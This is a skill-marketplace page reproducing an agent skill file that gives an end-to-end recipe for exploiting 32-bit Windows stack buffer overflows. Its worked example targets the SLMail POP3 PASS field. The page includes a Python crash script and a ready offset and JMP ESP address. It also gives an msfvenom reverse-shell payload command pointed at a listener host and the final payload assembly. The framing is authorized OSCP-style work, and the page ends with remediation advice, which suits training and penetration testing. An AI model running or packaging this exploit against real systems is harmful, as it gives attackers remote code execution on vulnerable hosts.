‹ 首页

performing-windows-binary-exploitation

@xalgord · 收录于 昨天 · 上游提交 昨天

Methodology for exploiting classic 32-bit Windows stack buffer overflows in network services during authorized engagements (OSCP-level), covering crash reproduction, EIP offset discovery with pattern_create/pattern_offset, shellcode space and bad-character enumeration, locating a reliable JMP ESP return address with mona.py, and delivering an msfvenom payload to gain remote code execution.

适合你,如果你在准备OSCP考试或需要渗透Windows二进制服务

/ 通过 npx 安装 校验哈希
npx oh-my-skill add xalgord/xalgorix/performing-windows-binary-exploitation
/ 通过 bash 安装
curl -fsSL https://oh-my-skill.com/install.sh | bash -s -- xalgord/xalgorix/performing-windows-binary-exploitation
/ 已经装过?验证本机副本,不用重装
npx oh-my-skill verify xalgord/xalgorix/performing-windows-binary-exploitation
安装目标可用 --agent / --scope 或 --to 明确指定;省略时只会在唯一已存在的 agent 目录上自动选择,零命中或多命中会停止并提示。content_hash 缺失或不一致均拒装。
807GitHub stars
~2.2K上下文体积 · 单文件
索引托管

怎么用

技能原文 SKILL.md作者撰写 · MIT · eeaf26b

Performing Windows Binary Exploitation

When to Use
  • During authorized assessments or OSCP-style labs against a 32-bit Windows network service (e.g., SLMail POP3, custom TCP daemons) that crashes when sent an oversized request to a field such as USER, PASS, or a protocol command.
  • When you have a Windows debugger (Immunity Debugger + mona.py, or x32dbg/WinDbg) attached and can observe that a large input overwrites EIP, indicating a saved-return-address overwrite.
  • When the target binary/DLLs lack modern mitigations (no ASLR, no DEP/NXCompat, no SafeSEH) so a static JMP ESP return address into stack-resident shellcode is viable.
  • As the end-to-end recipe to take a crash from proof-of-concept DoS to a working reverse/bind shell.
Critical: Concepts/Steps Most Often Missed
  • Confirming EIP control vs. a generic crash. A SIGSEGV/access violation is not enough. You must prove EIP holds your bytes. Send 'A'*offset + 'BBBB' + 'CCCC' and verify EIP == 0x42424242 ("BBBB"). Only then is control-flow hijack confirmed.
  • Bad characters break everything silently. 0x00 (null), 0x0A (LF), and 0x0D (CR) are almost always bad for string-based protocols, but each target differs. Skipping bad-char enumeration produces a mangled/truncated shellcode in memory and a non-working (but "correct-looking") exploit. Always diff the in-memory bytes against the sent badchar block.
  • Choosing the JMP ESP module wrong. The return address must come from a module with **Rebase: False, ASLR: False, SafeSEH: False, NXCompat: False, OS Dll: True/stable base** — otherwise the address shifts on reboot/patch and the exploit becomes unreliable. Verify with !mona modules.
  • Bad bytes inside the return address. The JMP ESP address itself must not contain any bad character, or the overwrite truncates before reaching EIP.
  • Forgetting NOPs / self-modifying shellcode. Encoded payloads (e.g., shikata_ga_nai) decode on the stack and can overwrite their own first bytes. Prepend a NOP sled (\x90 * 8–16) between the return address and the shellcode so the decoder has room.
  • Restart the service between attempts. Each crash leaves the service dead; restart (e.g., net start slmail) and re-attach before every test or you will misread stale state.
How to CONFIRM

Attach the debugger, send a pattern from pattern_create.rb -l <size>, and on crash read EIP. Feed that value to pattern_offset.rb -l <size> -q <eip> to get the exact offset. Re-send 'A'*offset + 'BBBB' + 'C'*N and confirm EIP = 0x42424242 and that ESP points into your C buffer with enough contiguous space for the shellcode. That two-part check (offset reproducible + EIP exactly your marker) is the definitive proof of control.

Workflow
Step 1: Reproduce the Crash and Profile
#!/usr/bin/python
import socket
ip, port = '10.11.25.153', 110
buffer = 'A' * 2700
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.recv(1024)
s.send('USER username\r\n'); s.recv(1024)
s.send('PASS ' + buffer + '\r\n')        # oversized field crashes the service

Attach the service in Immunity Debugger (File -> Attach), press Run, then send the script. An access violation with EIP overwritten by 41414141 indicates a controllable return-address overflow. Restart the service before the next step.

Step 2: Find the EIP Offset with a Cyclic Pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
# put the generated pattern into `buffer`, crash again, read EIP (e.g. 39694438)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
# -> Exact match at offset 2606

Confirm:

buffer = 'A'*2606 + 'BBBB' + 'CCCC'      # EIP must become 0x42424242 ("BBBB")
Step 3: Check Shellcode Space and Enumerate Bad Characters
buffer = 'A'*2606 + 'BBBB' + 'C'*600     # verify ESP points at C's and how much room exists
# Send all bytes 0x01..0xff after EIP, then diff against memory at ESP to spot mangled/missing bytes
badchars = (
"\x01\x02\x03...\xfd\xfe\xff")           # full 0x01-0xff block (0x00 already assumed bad)
buffer = 'A'*2606 + 'BBBB' + badchars
# Common results: drop 0x0A (LF) and 0x0D (CR); keep refining until the block is intact in memory
Step 4: Find a JMP ESP and Deliver the Payload
!mona modules                       # find module with Rebase/ASLR/SafeSEH/NXCompat = False
!mona find -s "\xff\xe4" -m slmfc.dll   # \xff\xe4 = JMP ESP; pick an address with no bad chars
# e.g. 0x5f4a358f  -> packed little-endian as \x8f\x35\x4a\x5f
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c \
  -b '\x00\x0a\x0d' EXITFUNC=thread -e x86/shikata_ga_nai
buffer = 'A'*2606 + '\x8f\x35\x4a\x5f' + '\x90'*8 + shellcode   # ret-addr + NOP sled + payload
s.send('PASS ' + buffer + '\r\n')                                # catch shell on nc -lvnp 443
Key Concepts

| Concept | Description | |---------|-------------| | EIP overwrite | Overflowing the saved 32-bit return address so the CPU jumps to an attacker-chosen address on RET. | | Offset | Exact number of bytes before the 4 bytes that land in EIP, found via cyclic pattern. | | JMP ESP | A \xff\xe4 gadget in a fixed-base module; redirects execution into stack-resident shellcode at ESP. | | Bad characters | Bytes corrupted/terminated by the input handler (commonly 0x00, 0x0A, 0x0D) that must be excluded. | | NOP sled | \x90 padding giving an encoded payload room to decode without clobbering its own start. | | SafeSEH / mona modules | Protection and the enumeration step used to pick a reliable, non-ASLR return address. | | Encoder (shikata_ga_nai) | Polymorphic msfvenom encoder used to avoid bad bytes; self-decodes on the stack. |

Tools & Systems

| Tool | Purpose | |------|---------| | Immunity Debugger + mona.py | Attach to the service, observe EIP/ESP, !mona modules, !mona find for JMP ESP. | | x32dbg / WinDbg | Alternative debuggers for crash triage and register/stack inspection on Windows. | | pattern_create.rb / pattern_offset.rb | Metasploit tools to generate a cyclic pattern and compute the EIP offset. | | msfvenom | Generate bad-char-free, encoded reverse/bind shellcode (-b, -e, EXITFUNC). | | netcat (nc) | Listener to catch the reverse shell (nc -lvnp 443). | | pwntools | Optional scripting for socket interaction, packing (p32), and payload assembly. |

Common Scenarios
Scenario 1: SLMail POP3 PASS overflow

Sending PASS with ~2700 bytes crashes SLMail; the offset to EIP is 2606. A JMP ESP from slmfc.dll (0x5f4a358f) plus an 8-byte NOP sled and a shikata_ga_nai-encoded reverse shell (bad chars \x00\x0a\x0d) yields SYSTEM/service-account RCE.

Scenario 2: Custom TCP service command overflow

A proprietary daemon overflows on an oversized protocol verb argument. After confirming EIP control and enumerating bad chars (including a protocol delimiter byte), a JMP ESP from a non-ASLR plugin DLL lands a bind shell.

Scenario 3: Limited shellcode space

ESP has only a few hundred contiguous bytes. A first-stage egghunter or a short jmp backward into the larger A buffer is used to reach a full second-stage payload placed earlier in the request.

Scenario 4: Encoder self-corruption

A payload appears in memory but the shell never connects. Adding a longer NOP sled and regenerating the shellcode (a different encoder iteration) resolves a self-overwrite during decoding.

Output Format
## Windows Binary Exploitation Finding

**Vulnerability**: Stack buffer overflow in 32-bit network service (CWE-121)
**Severity**: Critical (remote code execution)
**Target**: SLMail 5.5 POP3 (10.11.25.153:110), no ASLR/DEP/SafeSEH on slmfc.dll
**Vulnerable Field**: PASS command argument

### Crash & Control Proof
- Crash input: 'A'*2700 -> access violation, EIP = 0x41414141
- Offset to EIP: 2606 (pattern_offset confirmed)
- Control check: 'A'*2606 + 'BBBB' + 'C'*600 -> EIP = 0x42424242, ESP points into C buffer (~430 bytes free)
- Bad chars: 0x00, 0x0a, 0x0d

### Exploitation Path
Return address: JMP ESP @ 0x5f4a358f (slmfc.dll, Rebase/ASLR/SafeSEH=False)
Payload: 'A'*2606 + p32(0x5f4a358f) + '\x90'*8 + msfvenom windows/shell_reverse_tcp (encoded)
Result: reverse shell to 10.11.0.41:443 as the service account.

### Impact
Remote code execution as the SLMail service account; full host compromise after local privilege escalation.

### Recommendation
1. Patch/replace the vulnerable service; validate and bound all protocol field lengths.
2. Recompile with /GS stack cookies, SafeSEH, /DYNAMICBASE (ASLR), and /NXCOMPAT (DEP).
3. Enforce system-wide ASLR/DEP and segment the service off untrusted networks.
4. Add input-length monitoring/IPS signatures for oversized POP3 commands.
按 MIT 许可原样转载,未经改动 · 在 GitHub 查看 →

评论

登录即可评论;带「已验证安装」的,是发布者名下有本店的安装或持有记录。